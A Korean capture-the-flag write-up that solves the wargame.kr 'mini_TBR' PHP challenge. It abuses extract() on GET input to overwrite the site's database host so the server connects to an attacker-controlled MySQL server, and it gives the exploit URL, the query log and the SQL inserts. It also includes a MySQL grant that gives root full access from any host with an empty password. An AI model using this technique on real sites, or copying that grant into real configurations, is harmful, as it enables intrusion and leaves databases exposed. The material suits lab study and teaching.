설명을 보면 2013년 시큐인사이드의 CTF 문제인것 같다.
yes, i did present CTF Challenge to Secuinside 2013 web challenge. This is a part of The Bank Robber challenge. you can download source file : http://wargame.kr:8080/mini_TBR/mini_TBR.tgz
소스를 받아보면 파일들이 잔뜩 있다. 홈페이지를 구성하는것 같은 파일들인데 일단은 냅둬보고,
mini_TBR 문제에 들어가보면 홈페이지가 하나 뜬다. 즉 요걸 구성하는 소스들이 압축파일에 있다는걸 예상해볼 수 있다.
그러니까.. 아마 오픈소스처럼 뿌려진 소스들에서 취약점을 발견해야 되는 문제인것 같다
모든 디렉토리에 파일이 다 있는건 아니고, 다음과 같은 경로에 있다
\lib\database.php \modules\_system\functions.php \modules\list\_main.php \pages\.... \index.php
database.php 그냥 DB정보이고, layout들도 그냥 레이아웃들이다.
pages도 ajax로 불러와서 처리하기 위한건지 그냥 짧은 컨텐츠들만 있다
고로 functions와 main에 있는 두 파일과 index.php을 보면될것 같다
function이 몇개 안되니까 그냥 처음부터 보자
function.php
function db_conn(){ global $_BHVAR; mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']); mysql_select_db($_BHVAR['db']['name']); }
이 함수는 database.php 에서 정보를 불러와 연결하는 소스이다. 그래서 딱히 손댈건 없어보인다
function get_layout($layout, $pos){ $result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'"); $row = mysql_fetch_array($result); $allow_list = ["./book_store_skin/head.html", "./book_store_skin/foot.html", "./reverted/h.htm", "./reverted/f.htm"]; if (isset($row['path'])){ if ($row['path'] == "hacked") { include("../lib.php"); die(auth_code("mini TBR")); } if (in_array($row['path'], $allow_list)) { return $row['path']; } } if ($pos == 'head'){ return "./reverted/h.htm"; } return "./reverted/f.htm"; }
layout_name=$layout 부분과 $pos 가 있지만 ' 로 감싸져있다. 하지만 그것뿐, 일단 이건 기억하도록 하고,
아래에는 접근할 수 있는 페이지 리스트들이 있는데 바로 여기가 포인트이다. $row['path'] 를 hacked 로 만들어야된다는건데,
allow list 엔 hacked는 당연히 없다. 그리고 이 정보는 db에서 불러오는거기때문에 결국 get_layout 함수를 공략해야된다는 말인것 같다.
function filtering($str){ $str = preg_replace("/select/","", $str); $str = preg_replace("/union/","", $str); $str = preg_replace("/from/","", $str); $str = preg_replace("/load_file/","", $str); $str = preg_replace("/ /","", $str); return $str; }
필터링은 여러 항이 필터링 리스트이지만 이 페이지에선 사용하지 않는다.
이후 _main.php를 보려했더니 바로 die가 뜬다.
die("you have no use for this source.");
볼 필요없다니까 넘어가자.
사실 감을 아예 못잡고 있다가 검색을 통해 register_globals 함수에 취약점이 있다는것을 알았다. 사실 취약점은 아니고 원래 그렇게 쓰라고 만들어놓은건데.. 쓰면 되는게 있고 안되는게 있으니까
get을 extract하니까, 이 부분에서 위화감을 느꼈으면 됐다
if ( isset($_skin)) {
이 부분인데 아무리 찾아봐도 $_skin 이 없었다. 근데 extract으로 $_GET에 들어오는 내용을 그대로 사용하기 때문에, $_GET['_skin'] 으로 쓰지 않고 $_skin 으로 사용하고 있는것이다. 즉 이것을 이용해.. $_BHVAR['db']['host'] 를 갈아치면된다
요컨데 이런꼴로..
URL...&_BHAVR['db']['host'] = IP , path 모듈은 어디.. 뭐 등등
그리고 내 db에서 긁어가게도 해야되니까 mysql 세팅도 해줘야한다
외부에서 붙을 수 있게 권한 설정을 해주는걸 잊지 말자
grant all privileges on *.* to 'root'@'%' identified by ''; flush privileges;
이렇게 세팅하고 URL을 변경해 새로고침해보자.
http://wargame.kr:8080/mini_TBR/?_type=P&_skin=1&_BHVAR[path_module]=./modules/&_BHVAR[db][host]={YOUR IP}&_BHVAR[db][user]=root&_BHVAR[db][pass]={DBPASS}&_BHVAR[db][name]=mini_tbr다음과 같이 내 디비에 붙어서 질의하고 있다
2017-05-23T15:35:28.609264Z 87 Connect root@1.234.27.139 on using TCP/IP 2017-05-23T15:35:28.612265Z 87 Init DB mini_tbr 2017-05-23T15:35:28.617765Z 87 Query select path from _BH_layout where layout_name='1' and position='head' 2017-05-23T15:35:28.623766Z 87 Query select path from _BH_layout where layout_name='1' and position='foot' 2017-05-23T15:35:28.626266Z 87 Quit
테이블을 설정해주고, 값을 insert 해주면 문제가 해결된다.
use mini_tbr; CREATE TABLE `_bh_layout` ( `seqno` int(11) NOT NULL AUTO_INCREMENT, `path` varchar(45) DEFAULT NULL, `layout_name` varchar(45) DEFAULT NULL, `position` varchar(45) DEFAULT NULL, PRIMARY KEY (`seqno`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; INSERT INTO `mini_tbr`.`_bh_layout` (`path`,`layout_name`,`position`) VALUES ('hacked','1','head'); INSERT INTO `mini_tbr`.`_bh_layout` (`path`,`layout_name`,`position`) VALUES ('hacked','1','foot');